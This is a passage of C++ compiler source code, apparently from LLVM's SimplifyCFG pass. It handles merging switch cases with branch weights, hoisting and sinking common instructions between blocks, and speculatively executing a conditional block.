bool SuccHasWeights = HasBranchWeights(TI);
if (PredHasWeights) {
GetBranchWeights(PTI, Weights);
// branch-weight metadata is inconsistent here.
if (Weights.size() != 1 + PredCases.size())
PredHasWeights = SuccHasWeights = false;
} else if (SuccHasWeights)
// If there are no predecessor weights but there are successor weights,
// populate Weights with 1, which will later be scaled to the sum of
// successor's weights
Weights.assign(1 + PredCases.size(), 1);
SmallVector<uint64_t, 8> SuccWeights;
if (SuccHasWeights) {
GetBranchWeights(TI, SuccWeights);
// branch-weight metadata is inconsistent here.
if (SuccWeights.size() != 1 + BBCases.size())
PredHasWeights = SuccHasWeights = false;
} else if (PredHasWeights)
SuccWeights.assign(1 + BBCases.size(), 1);
if (PredDefault == BB) {
// If this is the default destination from PTI, only the edges in TI
// that don't occur in PTI, or that branch to BB will be activated.
std::set<ConstantInt *, ConstantIntOrdering> PTIHandled;
for (unsigned i = 0, e = PredCases.size(); i != e; ++i)
if (PredCases[i].Dest != BB)
PTIHandled.insert(PredCases[i].Value);
else {
// The default destination is BB, we don't need explicit targets.
std::swap(PredCases[i], PredCases.back());
if (PredHasWeights || SuccHasWeights) {
// Increase weight for the default case.
Weights[0] += Weights[i + 1];
std::swap(Weights[i + 1], Weights.back());
Weights.pop_back();
}
PredCases.pop_back();
--i;
--e;
}
// Reconstruct the new switch statement we will be building.
if (PredDefault != BBDefault) {
PredDefault->removePredecessor(Pred);
PredDefault = BBDefault;
NewSuccessors.push_back(BBDefault);
}
unsigned CasesFromPred = Weights.size();
uint64_t ValidTotalSuccWeight = 0;
for (unsigned i = 0, e = BBCases.size(); i != e; ++i)
if (!PTIHandled.count(BBCases[i].Value) &&
BBCases[i].Dest != BBDefault) {
PredCases.push_back(BBCases[i]);
NewSuccessors.push_back(BBCases[i].Dest);
if (SuccHasWeights || PredHasWeights) {
// The default weight is at index 0, so weight for the ith case
// should be at index i+1. Scale the cases from successor by
// PredDefaultWeight (Weights[0]).
Weights.push_back(Weights[0] * SuccWeights[i + 1]);
ValidTotalSuccWeight += SuccWeights[i + 1];
}
}
if (SuccHasWeights || PredHasWeights) {
ValidTotalSuccWeight += SuccWeights[0];
// Scale the cases from predecessor by ValidTotalSuccWeight.
for (unsigned i = 1; i < CasesFromPred; ++i)
Weights[i] *= ValidTotalSuccWeight;
// Scale the default weight by SuccDefaultWeight (SuccWeights[0]).
Weights[0] *= SuccWeights[0];
}
} else {
// If this is not the default destination from PSI, only the edges
// in SI that occur in PSI with a destination of BB will be
// activated.
std::set<ConstantInt *, ConstantIntOrdering> PTIHandled;
std::map<ConstantInt *, uint64_t> WeightsForHandled;
for (unsigned i = 0, e = PredCases.size(); i != e; ++i)
if (PredCases[i].Dest == BB) {
PTIHandled.insert(PredCases[i].Value);
if (PredHasWeights || SuccHasWeights) {
WeightsForHandled[PredCases[i].Value] = Weights[i + 1];
std::swap(Weights[i + 1], Weights.back());
Weights.pop_back();
}
std::swap(PredCases[i], PredCases.back());
PredCases.pop_back();
--i;
--e;
}
// Okay, now we know which constants were sent to BB from the
// predecessor. Figure out where they will all go now.
for (unsigned i = 0, e = BBCases.size(); i != e; ++i)
if (PTIHandled.count(BBCases[i].Value)) {
// If this is one we are capable of getting...
if (PredHasWeights || SuccHasWeights)
Weights.push_back(WeightsForHandled[BBCases[i].Value]);
PredCases.push_back(BBCases[i]);
NewSuccessors.push_back(BBCases[i].Dest);
PTIHandled.erase(
BBCases[i].Value); // This constant is taken care of
}
// If there are any constants vectored to BB that TI doesn't handle,
// they must go to the default destination of TI.
for (ConstantInt *I : PTIHandled) {
if (PredHasWeights || SuccHasWeights)
Weights.push_back(WeightsForHandled[I]);
PredCases.push_back(ValueEqualityComparisonCase(I, BBDefault));
NewSuccessors.push_back(BBDefault);
}
}
// Okay, at this point, we know which new successor Pred will get. Make
// sure we update the number of entries in the PHI nodes for these
// successors.
for (BasicBlock *NewSuccessor : NewSuccessors)
AddPredecessorToBlock(NewSuccessor, Pred, BB);
Builder.SetInsertPoint(PTI);
// Convert pointer to int before we switch.
if (CV->getType()->isPointerTy()) {
CV = Builder.CreatePtrToInt(CV, DL.getIntPtrType(CV->getType()),
"magicptr");
}
// Now that the successors are updated, create the new Switch instruction.
SwitchInst *NewSI =
Builder.CreateSwitch(CV, PredDefault, PredCases.size());
NewSI->setDebugLoc(PTI->getDebugLoc());
for (ValueEqualityComparisonCase &V : PredCases)
NewSI->addCase(V.Value, V.Dest);
if (PredHasWeights || SuccHasWeights) {
// Halve the weights if any of them cannot fit in an uint32_t
FitWeights(Weights);
SmallVector<uint32_t, 8> MDWeights(Weights.begin(), Weights.end());
setBranchWeights(NewSI, MDWeights);
}
EraseTerminatorAndDCECond(PTI);
// Okay, last check. If BB is still a successor of PSI, then we must
// have an infinite loop case. If so, add an infinitely looping block
// to handle the case to preserve the behavior of the code.
BasicBlock *InfLoopBlock = nullptr;
for (unsigned i = 0, e = NewSI->getNumSuccessors(); i != e; ++i)
if (NewSI->getSuccessor(i) == BB) {
if (!InfLoopBlock) {
// Insert it at the end of the function, because it's either code,
// or it won't matter if it's hot. :)
InfLoopBlock = BasicBlock::Create(BB->getContext(), "infloop",
BB->getParent());
BranchInst::Create(InfLoopBlock, InfLoopBlock);
}
NewSI->setSuccessor(i, InfLoopBlock);
}
Changed = true;
}
}
return Changed;
}
// If we would need to insert a select that uses the value of this invoke
// (comments in HoistThenElseCodeToIf explain why we would need to do this), we
// can't hoist the invoke, as there is nowhere to put the select in this case.
static bool isSafeToHoistInvoke(BasicBlock *BB1, BasicBlock *BB2,
Instruction *I1, Instruction *I2) {
for (BasicBlock *Succ : successors(BB1)) {
for (const PHINode &PN : Succ->phis()) {
Value *BB1V = PN.getIncomingValueForBlock(BB1);
Value *BB2V = PN.getIncomingValueForBlock(BB2);
if (BB1V != BB2V && (BB1V == I1 || BB2V == I2)) {
return false;
}
}
}
return true;
}
static bool passingValueIsAlwaysUndefined(Value *V, Instruction *I);
/// Given a conditional branch that goes to BB1 and BB2, hoist any common code
/// in the two blocks up into the branch block. The caller of this function
/// guarantees that BI's block dominates BB1 and BB2.
static bool HoistThenElseCodeToIf(BranchInst *BI,
const TargetTransformInfo &TTI) {
// This does very trivial matching, with limited scanning, to find identical
// instructions in the two blocks. In particular, we don't want to get into
// O(M*N) situations here where M and N are the sizes of BB1 and BB2. As
// such, we currently just scan for obviously identical instructions in an
// identical order.
BasicBlock *BB1 = BI->getSuccessor(0); // The true destination.
BasicBlock *BB2 = BI->getSuccessor(1); // The false destination
BasicBlock::iterator BB1_Itr = BB1->begin();
BasicBlock::iterator BB2_Itr = BB2->begin();
Instruction *I1 = &*BB1_Itr++, *I2 = &*BB2_Itr++;
// Skip debug info if it is not identical.
DbgInfoIntrinsic *DBI1 = dyn_cast<DbgInfoIntrinsic>(I1);
DbgInfoIntrinsic *DBI2 = dyn_cast<DbgInfoIntrinsic>(I2);
if (!DBI1 || !DBI2 || !DBI1->isIdenticalToWhenDefined(DBI2)) {
while (isa<DbgInfoIntrinsic>(I1))
I1 = &*BB1_Itr++;
while (isa<DbgInfoIntrinsic>(I2))
I2 = &*BB2_Itr++;
}
// FIXME: Can we define a safety predicate for CallBr?
if (isa<PHINode>(I1) || !I1->isIdenticalToWhenDefined(I2) ||
(isa<InvokeInst>(I1) && !isSafeToHoistInvoke(BB1, BB2, I1, I2)) ||
isa<CallBrInst>(I1))
return false;
BasicBlock *BIParent = BI->getParent();
bool Changed = false;
do {
// If we are hoisting the terminator instruction, don't move one (making a
// broken BB), instead clone it, and remove BI.
if (I1->isTerminator())
goto HoistTerminator;
// If we're going to hoist a call, make sure that the two instructions we're
// commoning/hoisting are both marked with musttail, or neither of them is
// marked as such. Otherwise, we might end up in a situation where we hoist
// from a block where the terminator is a `ret` to a block where the terminator
// is a `br`, and `musttail` calls expect to be followed by a return.
auto *C1 = dyn_cast<CallInst>(I1);
auto *C2 = dyn_cast<CallInst>(I2);
if (C1 && C2)
if (C1->isMustTailCall() != C2->isMustTailCall())
return Changed;
if (!TTI.isProfitableToHoist(I1) || !TTI.isProfitableToHoist(I2))
return Changed;
if (isa<DbgInfoIntrinsic>(I1) || isa<DbgInfoIntrinsic>(I2)) {
assert (isa<DbgInfoIntrinsic>(I1) && isa<DbgInfoIntrinsic>(I2));
// The debug location is an integral part of a debug info intrinsic
// and can't be separated from it or replaced. Instead of attempting
// to merge locations, simply hoist both copies of the intrinsic.
BIParent->getInstList().splice(BI->getIterator(),
BB1->getInstList(), I1);
BIParent->getInstList().splice(BI->getIterator(),
BB2->getInstList(), I2);
Changed = true;
} else {
// For a normal instruction, we just move one to right before the branch,
// then replace all uses of the other with the first. Finally, we remove
// the now redundant second instruction.
BIParent->getInstList().splice(BI->getIterator(),
BB1->getInstList(), I1);
if (!I2->use_empty())
I2->replaceAllUsesWith(I1);
I1->andIRFlags(I2);
unsigned KnownIDs[] = {LLVMContext::MD_tbaa,
LLVMContext::MD_range,
LLVMContext::MD_fpmath,
LLVMContext::MD_invariant_load,
LLVMContext::MD_nonnull,
LLVMContext::MD_invariant_group,
LLVMContext::MD_align,
LLVMContext::MD_dereferenceable,
LLVMContext::MD_dereferenceable_or_null,
LLVMContext::MD_mem_parallel_loop_access,
LLVMContext::MD_access_group};
combineMetadata(I1, I2, KnownIDs, true);
// I1 and I2 are being combined into a single instruction. Its debug
// location is the merged locations of the original instructions.
I1->applyMergedLocation(I1->getDebugLoc(), I2->getDebugLoc());
I2->eraseFromParent();
Changed = true;
}
I1 = &*BB1_Itr++;
I2 = &*BB2_Itr++;
// Skip debug info if it is not identical.
DbgInfoIntrinsic *DBI1 = dyn_cast<DbgInfoIntrinsic>(I1);
DbgInfoIntrinsic *DBI2 = dyn_cast<DbgInfoIntrinsic>(I2);
if (!DBI1 || !DBI2 || !DBI1->isIdenticalToWhenDefined(DBI2)) {
while (isa<DbgInfoIntrinsic>(I1))
I1 = &*BB1_Itr++;
while (isa<DbgInfoIntrinsic>(I2))
I2 = &*BB2_Itr++;
}
} while (I1->isIdenticalToWhenDefined(I2));
return true;
HoistTerminator:
// It may not be possible to hoist an invoke.
// FIXME: Can we define a safety predicate for CallBr?
if (isa<InvokeInst>(I1) && !isSafeToHoistInvoke(BB1, BB2, I1, I2))
return Changed;
// TODO: callbr hoisting currently disabled pending further study.
if (isa<CallBrInst>(I1))
return Changed;
for (BasicBlock *Succ : successors(BB1)) {
for (PHINode &PN : Succ->phis()) {
Value *BB1V = PN.getIncomingValueForBlock(BB1);
Value *BB2V = PN.getIncomingValueForBlock(BB2);
if (BB1V == BB2V)
continue;
// Check for passingValueIsAlwaysUndefined here because we would rather
// eliminate undefined control flow then converting it to a select.
if (passingValueIsAlwaysUndefined(BB1V, &PN) ||
passingValueIsAlwaysUndefined(BB2V, &PN))
return Changed;
if (isa<ConstantExpr>(BB1V) && !isSafeToSpeculativelyExecute(BB1V))
return Changed;
if (isa<ConstantExpr>(BB2V) && !isSafeToSpeculativelyExecute(BB2V))
return Changed;
}
}
// Okay, it is safe to hoist the terminator.
Instruction *NT = I1->clone();
BIParent->getInstList().insert(BI->getIterator(), NT);
if (!NT->getType()->isVoidTy()) {
I1->replaceAllUsesWith(NT);
I2->replaceAllUsesWith(NT);
NT->takeName(I1);
}
// Ensure terminator gets a debug location, even an unknown one, in case
// it involves inlinable calls.
NT->applyMergedLocation(I1->getDebugLoc(), I2->getDebugLoc());
// PHIs created below will adopt NT's merged DebugLoc.
IRBuilder<NoFolder> Builder(NT);
// Hoisting one of the terminators from our successor is a great thing.
// Unfortunately, the successors of the if/else blocks may have PHI nodes in
// them. If they do, all PHI entries for BB1/BB2 must agree for all PHI
// nodes, so we insert select instruction to compute the final result.
std::map<std::pair<Value *, Value *>, SelectInst *> InsertedSelects;
for (BasicBlock *Succ : successors(BB1)) {
for (PHINode &PN : Succ->phis()) {
Value *BB1V = PN.getIncomingValueForBlock(BB1);
Value *BB2V = PN.getIncomingValueForBlock(BB2);
if (BB1V == BB2V)
continue;
// These values do not agree. Insert a select instruction before NT
// that determines the right value.
SelectInst *&SI = InsertedSelects[std::make_pair(BB1V, BB2V)];
if (!SI)
SI = cast<SelectInst>(
Builder.CreateSelect(BI->getCondition(), BB1V, BB2V,
BB1V->getName() + "." + BB2V->getName(), BI));
// Make the PHI node use the select for all incoming values for BB1/BB2
for (unsigned i = 0, e = PN.getNumIncomingValues(); i != e; ++i)
if (PN.getIncomingBlock(i) == BB1 || PN.getIncomingBlock(i) == BB2)
PN.setIncomingValue(i, SI);
}
}
// Update any PHI nodes in our new successors.
for (BasicBlock *Succ : successors(BB1))
AddPredecessorToBlock(Succ, BIParent, BB1);
EraseTerminatorAndDCECond(BI);
return true;
}
// All instructions in Insts belong to different blocks that all unconditionally
// branch to a common successor. Analyze each instruction and return true if it
// would be possible to sink them into their successor, creating one common
// instruction instead. For every value that would be required to be provided by
// PHI node (because an operand varies in each input block), add to PHIOperands.
static bool canSinkInstructions(
ArrayRef<Instruction *> Insts,
DenseMap<Instruction *, SmallVector<Value *, 4>> &PHIOperands) {
// Prune out obviously bad instructions to move. Each instruction must have
// exactly zero or one use, and we check later that use is by a single, common
// PHI instruction in the successor.
bool HasUse = !Insts.front()->user_empty();
for (auto *I : Insts) {
// These instructions may change or break semantics if moved.
if (isa<PHINode>(I) || I->isEHPad() || isa<AllocaInst>(I) ||
I->getType()->isTokenTy())
return false;
// Conservatively return false if I is an inline-asm instruction. Sinking
// and merging inline-asm instructions can potentially create arguments
// that cannot satisfy the inline-asm constraints.
if (const auto *C = dyn_cast<CallBase>(I))
if (C->isInlineAsm())
return false;
// Each instruction must have zero or one use.
if (HasUse && !I->hasOneUse())
return false;
if (!HasUse && !I->user_empty())
return false;
}
const Instruction *I0 = Insts.front();
for (auto *I : Insts)
if (!I->isSameOperationAs(I0))
return false;
// All instructions in Insts are known to be the same opcode. If they have a
// use, check that the only user is a PHI or in the same block as the
// instruction, because if a user is in the same block as an instruction we're
// contemplating sinking, it must already be determined to be sinkable.
if (HasUse) {
auto *PNUse = dyn_cast<PHINode>(*I0->user_begin());
auto *Succ = I0->getParent()->getTerminator()->getSuccessor(0);
if (!all_of(Insts, [&PNUse,&Succ](const Instruction *I) -> bool {
auto *U = cast<Instruction>(*I->user_begin());
return (PNUse &&
PNUse->getParent() == Succ &&
PNUse->getIncomingValueForBlock(I->getParent()) == I) ||
U->getParent() == I->getParent();
}))
return false;
}
// Because SROA can't handle speculating stores of selects, try not
// to sink loads or stores of allocas when we'd have to create a PHI for
// the address operand. Also, because it is likely that loads or stores
// of allocas will disappear when Mem2Reg/SROA is run, don't sink them.
// This can cause code churn which can have unintended consequences down
// the line - see https://llvm.org/bugs/show_bug.cgi?id=30244.
// FIXME: This is a workaround for a deficiency in SROA - see
// https://llvm.org/bugs/show_bug.cgi?id=30188
if (isa<StoreInst>(I0) && any_of(Insts, [](const Instruction *I) {
return isa<AllocaInst>(I->getOperand(1));
}))
return false;
if (isa<LoadInst>(I0) && any_of(Insts, [](const Instruction *I) {
return isa<AllocaInst>(I->getOperand(0));
}))
return false;
for (unsigned OI = 0, OE = I0->getNumOperands(); OI != OE; ++OI) {
if (I0->getOperand(OI)->getType()->isTokenTy())
// Don't touch any operand of token type.
return false;
auto SameAsI0 = [&I0, OI](const Instruction *I) {
assert(I->getNumOperands() == I0->getNumOperands());
return I->getOperand(OI) == I0->getOperand(OI);
};
if (!all_of(Insts, SameAsI0)) {
if (!canReplaceOperandWithVariable(I0, OI))
// We can't create a PHI from this GEP.
return false;
// Don't create indirect calls! The called value is the final operand.
if (isa<CallBase>(I0) && OI == OE - 1) {
// FIXME: if the call was *already* indirect, we should do this.
return false;
}
for (auto *I : Insts)
PHIOperands[I].push_back(I->getOperand(OI));
}
}
return true;
}
// Assuming canSinkLastInstruction(Blocks) has returned true, sink the last
// instruction of every block in Blocks to their common successor, commoning
// into one instruction.
static bool sinkLastInstruction(ArrayRef<BasicBlock*> Blocks) {
auto *BBEnd = Blocks[0]->getTerminator()->getSuccessor(0);
// canSinkLastInstruction returning true guarantees that every block has at
// least one non-terminator instruction.
SmallVector<Instruction*,4> Insts;
for (auto *BB : Blocks) {
Instruction *I = BB->getTerminator();
do {
I = I->getPrevNode();
} while (isa<DbgInfoIntrinsic>(I) && I != &BB->front());
if (!isa<DbgInfoIntrinsic>(I))
Insts.push_back(I);
}
// The only checking we need to do now is that all users of all instructions
// are the same PHI node. canSinkLastInstruction should have checked this but
// it is slightly over-aggressive - it gets confused by commutative instructions
// so double-check it here.
Instruction *I0 = Insts.front();
if (!I0->user_empty()) {
auto *PNUse = dyn_cast<PHINode>(*I0->user_begin());
if (!all_of(Insts, [&PNUse](const Instruction *I) -> bool {
auto *U = cast<Instruction>(*I->user_begin());
return U == PNUse;
}))
return false;
}
// We don't need to do any more checking here; canSinkLastInstruction should
// have done it all for us.
SmallVector<Value*, 4> NewOperands;
for (unsigned O = 0, E = I0->getNumOperands(); O != E; ++O) {
// This check is different to that in canSinkLastInstruction. There, we
// cared about the global view once simplifycfg (and instcombine) have
// completed - it takes into account PHIs that become trivially
// simplifiable. However here we need a more local view; if an operand
// differs we create a PHI and rely on instcombine to clean up the very
// small mess we may make.
bool NeedPHI = any_of(Insts, [&I0, O](const Instruction *I) {
return I->getOperand(O) != I0->getOperand(O);
});
if (!NeedPHI) {
NewOperands.push_back(I0->getOperand(O));
continue;
}
// Create a new PHI in the successor block and populate it.
auto *Op = I0->getOperand(O);
assert(!Op->getType()->isTokenTy() && "Can't PHI tokens!");
auto *PN = PHINode::Create(Op->getType(), Insts.size(),
Op->getName() + ".sink", &BBEnd->front());
for (auto *I : Insts)
PN->addIncoming(I->getOperand(O), I->getParent());
NewOperands.push_back(PN);
}
// Arbitrarily use I0 as the new "common" instruction; remap its operands
// and move it to the start of the successor block.
for (unsigned O = 0, E = I0->getNumOperands(); O != E; ++O)
I0->getOperandUse(O).set(NewOperands[O]);
I0->moveBefore(&*BBEnd->getFirstInsertionPt());
// Update metadata and IR flags, and merge debug locations.
for (auto *I : Insts)
if (I != I0) {
// The debug location for the "common" instruction is the merged locations
// of all the commoned instructions. We start with the original location
// of the "common" instruction and iteratively merge each location in the
// loop below.
// This is an N-way merge, which will be inefficient if I0 is a CallInst.
// However, as N-way merge for CallInst is rare, so we use simplified API
// instead of using complex API for N-way merge.
I0->applyMergedLocation(I0->getDebugLoc(), I->getDebugLoc());
combineMetadataForCSE(I0, I, true);
I0->andIRFlags(I);
}
if (!I0->user_empty()) {
// canSinkLastInstruction checked that all instructions were used by
// one and only one PHI node. Find that now, RAUW it to our common
// instruction and nuke it.
auto *PN = cast<PHINode>(*I0->user_begin());
PN->replaceAllUsesWith(I0);
PN->eraseFromParent();
}
// Finally nuke all instructions apart from the common instruction.
for (auto *I : Insts)
if (I != I0)
I->eraseFromParent();
return true;
}
namespace {
// LockstepReverseIterator - Iterates through instructions
// in a set of blocks in reverse order from the first non-terminator.
// For example (assume all blocks have size n):
// LockstepReverseIterator I([B1, B2, B3]);
// *I-- = [B1[n], B2[n], B3[n]];
// *I-- = [B1[n-1], B2[n-1], B3[n-1]];
// *I-- = [B1[n-2], B2[n-2], B3[n-2]];
// ...
class LockstepReverseIterator {
ArrayRef<BasicBlock*> Blocks;
SmallVector<Instruction*,4> Insts;
bool Fail;
public:
LockstepReverseIterator(ArrayRef<BasicBlock*> Blocks) : Blocks(Blocks) {
reset();
}
void reset() {
Fail = false;
Insts.clear();
for (auto *BB : Blocks) {
Instruction *Inst = BB->getTerminator();
for (Inst = Inst->getPrevNode(); Inst && isa<DbgInfoIntrinsic>(Inst);)
Inst = Inst->getPrevNode();
if (!Inst) {
// Block wasn't big enough.
Fail = true;
return;
}
Insts.push_back(Inst);
}
}
bool isValid() const {
return !Fail;
}
void operator--() {
if (Fail)
return;
for (auto *&Inst : Insts) {
for (Inst = Inst->getPrevNode(); Inst && isa<DbgInfoIntrinsic>(Inst);)
Inst = Inst->getPrevNode();
// Already at beginning of block.
if (!Inst) {
Fail = true;
return;
}
}
}
ArrayRef<Instruction*> operator * () const {
return Insts;
}
};
} // end anonymous namespace
/// Check whether BB's predecessors end with unconditional branches. If it is
/// true, sink any common code from the predecessors to BB.
/// We also allow one predecessor to end with conditional branch (but no more
/// than one).
static bool SinkCommonCodeFromPredecessors(BasicBlock *BB) {
// We support two situations:
// (1) all incoming arcs are unconditional
// (2) one incoming arc is conditional
//
// (2) is very common in switch defaults and
// else-if patterns;
//
// if (a) f(1);
// else if (b) f(2);
//
// produces:
//
// [if]
// / \
// [f(1)] [if]
// | | \
// | | |
// | [f(2)]|
// \ | /
// [ end ]
//
// [end] has two unconditional predecessor arcs and one conditional. The
// conditional refers to the implicit empty 'else' arc. This conditional
// arc can also be caused by an empty default block in a switch.
//
// In this case, we attempt to sink code from all *unconditional* arcs.
// If we can sink instructions from these arcs (determined during the scan
// phase below) we insert a common successor for all unconditional arcs and
// connect that to [end], to enable sinking:
//
// [if]
// / \
// [x(1)] [if]
// | | \
// | | \
// | [x(2)] |
// \ / |
// [sink.split] |
// \ /
// [ end ]
//
SmallVector<BasicBlock*,4> UnconditionalPreds;
Instruction *Cond = nullptr;
for (auto *B : predecessors(BB)) {
auto *T = B->getTerminator();
if (isa<BranchInst>(T) && cast<BranchInst>(T)->isUnconditional())
UnconditionalPreds.push_back(B);
else if ((isa<BranchInst>(T) || isa<SwitchInst>(T)) && !Cond)
Cond = T;
else
return false;
}
if (UnconditionalPreds.size() < 2)
return false;
bool Changed = false;
// We take a two-step approach to tail sinking. First we scan from the end of
// each block upwards in lockstep. If the n'th instruction from the end of each
// block can be sunk, those instructions are added to ValuesToSink and we
// carry on. If we can sink an instruction but need to PHI-merge some operands
// (because they're not identical in each instruction) we add these to
// PHIOperands.
unsigned ScanIdx = 0;
SmallPtrSet<Value*,4> InstructionsToSink;
DenseMap<Instruction*, SmallVector<Value*,4>> PHIOperands;
LockstepReverseIterator LRI(UnconditionalPreds);
while (LRI.isValid() &&
canSinkInstructions(*LRI, PHIOperands)) {
LLVM_DEBUG(dbgs() << "SINK: instruction can be sunk: " << *(*LRI)[0]
<< "\n");
InstructionsToSink.insert((*LRI).begin(), (*LRI).end());
++ScanIdx;
--LRI;
}
auto ProfitableToSinkInstruction = [&](LockstepReverseIterator &LRI) {
unsigned NumPHIdValues = 0;
for (auto *I : *LRI)
for (auto *V : PHIOperands[I])
if (InstructionsToSink.count(V) == 0)
++NumPHIdValues;
LLVM_DEBUG(dbgs() << "SINK: #phid values: " << NumPHIdValues << "\n");
unsigned NumPHIInsts = NumPHIdValues / UnconditionalPreds.size();
if ((NumPHIdValues % UnconditionalPreds.size()) != 0)
NumPHIInsts++;
return NumPHIInsts <= 1;
};
if (ScanIdx > 0 && Cond) {
// Check if we would actually sink anything first! This mutates the CFG and
// adds an extra block. The goal in doing this is to allow instructions that
// couldn't be sunk before to be sunk - obviously, speculatable instructions
// (such as trunc, add) can be sunk and predicated already. So we check that
// we're going to sink at least one non-speculatable instruction.
LRI.reset();
unsigned Idx = 0;
bool Profitable = false;
while (ProfitableToSinkInstruction(LRI) && Idx < ScanIdx) {
if (!isSafeToSpeculativelyExecute((*LRI)[0])) {
Profitable = true;
break;
}
--LRI;
++Idx;
}
if (!Profitable)
return false;
LLVM_DEBUG(dbgs() << "SINK: Splitting edge\n");
// We have a conditional edge and we're going to sink some instructions.
// Insert a new block postdominating all blocks we're going to sink from.
if (!SplitBlockPredecessors(BB, UnconditionalPreds, ".sink.split"))
// Edges couldn't be split.
return false;
Changed = true;
}
// Now that we've analyzed all potential sinking candidates, perform the
// actual sink. We iteratively sink the last non-terminator of the source
// blocks into their common successor unless doing so would require too
// many PHI instructions to be generated (currently only one PHI is allowed
// per sunk instruction).
//
// We can use InstructionsToSink to discount values needing PHI-merging that will
// actually be sunk in a later iteration. This allows us to be more
// aggressive in what we sink. This does allow a false positive where we
// sink presuming a later value will also be sunk, but stop half way through
// and never actually sink it which means we produce more PHIs than intended.
// This is unlikely in practice though.
for (unsigned SinkIdx = 0; SinkIdx != ScanIdx; ++SinkIdx) {
LLVM_DEBUG(dbgs() << "SINK: Sink: "
<< *UnconditionalPreds[0]->getTerminator()->getPrevNode()
<< "\n");
// Because we've sunk every instruction in turn, the current instruction to
// sink is always at index 0.
LRI.reset();
if (!ProfitableToSinkInstruction(LRI)) {
// Too many PHIs would be created.
LLVM_DEBUG(
dbgs() << "SINK: stopping here, too many PHIs would be created!\n");
break;
}
if (!sinkLastInstruction(UnconditionalPreds))
return Changed;
NumSinkCommons++;
Changed = true;
}
return Changed;
}
/// Determine if we can hoist sink a sole store instruction out of a
/// conditional block.
///
/// We are looking for code like the following:
/// BrBB:
/// store i32 %add, i32* %arrayidx2
/// ... // No other stores or function calls (we could be calling a memory
/// ... // function).
/// %cmp = icmp ult %x, %y
/// br i1 %cmp, label %EndBB, label %ThenBB
/// ThenBB:
/// store i32 %add5, i32* %arrayidx2
/// br label EndBB
/// EndBB:
/// ...
/// We are going to transform this into:
/// BrBB:
/// store i32 %add, i32* %arrayidx2
/// ... //
/// %cmp = icmp ult %x, %y
/// %add.add5 = select i1 %cmp, i32 %add, %add5
/// store i32 %add.add5, i32* %arrayidx2
/// ...
///
/// \return The pointer to the value of the previous store if the store can be
/// hoisted into the predecessor block. 0 otherwise.
static Value *isSafeToSpeculateStore(Instruction *I, BasicBlock *BrBB,
BasicBlock *StoreBB, BasicBlock *EndBB) {
StoreInst *StoreToHoist = dyn_cast<StoreInst>(I);
if (!StoreToHoist)
return nullptr;
// Volatile or atomic.
if (!StoreToHoist->isSimple())
return nullptr;
Value *StorePtr = StoreToHoist->getPointerOperand();
// Look for a store to the same pointer in BrBB.
unsigned MaxNumInstToLookAt = 9;
for (Instruction &CurI : reverse(BrBB->instructionsWithoutDebug())) {
if (!MaxNumInstToLookAt)
break;
--MaxNumInstToLookAt;
// Could be calling an instruction that affects memory like free().
if (CurI.mayHaveSideEffects() && !isa<StoreInst>(CurI))
return nullptr;
if (auto *SI = dyn_cast<StoreInst>(&CurI)) {
// Found the previous store make sure it stores to the same location.
if (SI->getPointerOperand() == StorePtr)
// Found the previous store, return its value operand.
return SI->getValueOperand();
return nullptr; // Unknown store.
}
}
return nullptr;
}
/// Speculate a conditional basic block flattening the CFG.
///
/// Note that this is a very risky transform currently. Speculating
/// instructions like this is most often not desirable. Instead, there is an MI
/// pass which can do it with full awareness of the resource constraints.
/// However, some cases are "obvious" and we should do directly. An example of
/// this is speculating a single, reasonably cheap instruction.
///
/// There is only one distinct advantage to flattening the CFG at the IR level:
/// it makes very common but simplistic optimizations such as are common in
/// instcombine and the DAG combiner more powerful by removing CFG edges and
/// modeling their effects with easier to reason about SSA value graphs.
///
///
/// An illustration of this transform is turning this IR:
/// \code
/// BB:
/// %cmp = icmp ult %x, %y
/// br i1 %cmp, label %EndBB, label %ThenBB
/// ThenBB:
/// %sub = sub %x, %y
/// br label BB2
/// EndBB:
/// %phi = phi [ %sub, %ThenBB ], [ 0, %EndBB ]
/// ...
/// \endcode
///
/// Into this IR:
/// \code
/// BB:
/// %cmp = icmp ult %x, %y
/// %sub = sub %x, %y
/// %cond = select i1 %cmp, 0, %sub
/// ...
/// \endcode
///
/// \returns true if the conditional block is removed.
static bool SpeculativelyExecuteBB(BranchInst *BI, BasicBlock *ThenBB,
const TargetTransformInfo &TTI) {
// Be conservative for now. FP select instruction can often be expensive.
Value *BrCond = BI->getCondition();
if (isa<FCmpInst>(BrCond))
return false;
BasicBlock *BB = BI->getParent();
BasicBlock *EndBB = ThenBB->getTerminator()->getSuccessor(0);
// If ThenBB is actually on the false edge of the conditional branch, remember
// to swap the select operands later.
bool Invert = false;
if (ThenBB != BI->getSuccessor(0)) {
assert(ThenBB == BI->getSuccessor(1) && "No edge from 'if' block?");
Invert = true;
}
assert(EndBB == BI->getSuccessor(!Invert) && "No edge from to end block");
// Keep a count of how many times instructions are used within ThenBB when
// they are candidates for sinking into ThenBB. Specifically:
// - They are defined in BB, and
// - They have no side effects, and
// - All of their uses are in ThenBB.
SmallDenseMap<Instruction *, unsigned, 4> SinkCandidateUseCounts;
SmallVector<Instruction *, 4> SpeculatedDbgIntrinsics;
unsigned SpeculationCost = 0;
Value *SpeculatedStoreValue = nullptr;
StoreInst *SpeculatedStore = nullptr;
for (BasicBlock::iterator BBI = ThenBB->begin(),
BBE = std::prev(ThenBB->end());
BBI != BBE; ++BBI) {
Instruction *I = &*BBI;
// Skip debug info.
if (isa<DbgInfoIntrinsic>(I)) {
SpeculatedDbgIntrinsics.push_back(I);
continue;
}
// Only speculatively execute a single instruction (not counting the
// terminator) for now.
++SpeculationCost;
if (SpeculationCost > 1)
return false;
// Don't hoist the instruction if it's unsafe or expensive.
if (!isSafeToSpeculativelyExecute(I) &&
!(HoistCondStores && (SpeculatedStoreValue = isSafeToSpeculateStore(
I, BB, ThenBB, EndBB))))
return false;
if (!SpeculatedStoreValue &&
ComputeSpeculationCost(I, TTI) >
PHINodeFoldingThreshold * TargetTransformInfo::TCC_Basic)
return false;
// Store the store speculation candidate.
if (SpeculatedStoreValue)
SpeculatedStore = cast<StoreInst>(I);
// Do not hoist the instruction if any of its operands are defined but not
// used in BB. The transformation will prevent the operand from
// being sunk into the use block.
for (User::op_iterator i = I->op_begin(), e = I->op_end(); i != e; ++i) {
Instruction *OpI = dyn_cast<Instruction>(*i);
if (!OpI || OpI->getParent() != BB || OpI->mayHaveSideEffects())
continue; // Not a candidate for sinking.
++SinkCandidateUseCounts[OpI];
}
}
// Consider any sink candidates which are only used in ThenBB as costs for
// speculation. Note, while we iterate over a DenseMap here, we are summing
// and so iteration order isn't significant.
for (SmallDenseMap<Instruction *, unsigned, 4>::iterator
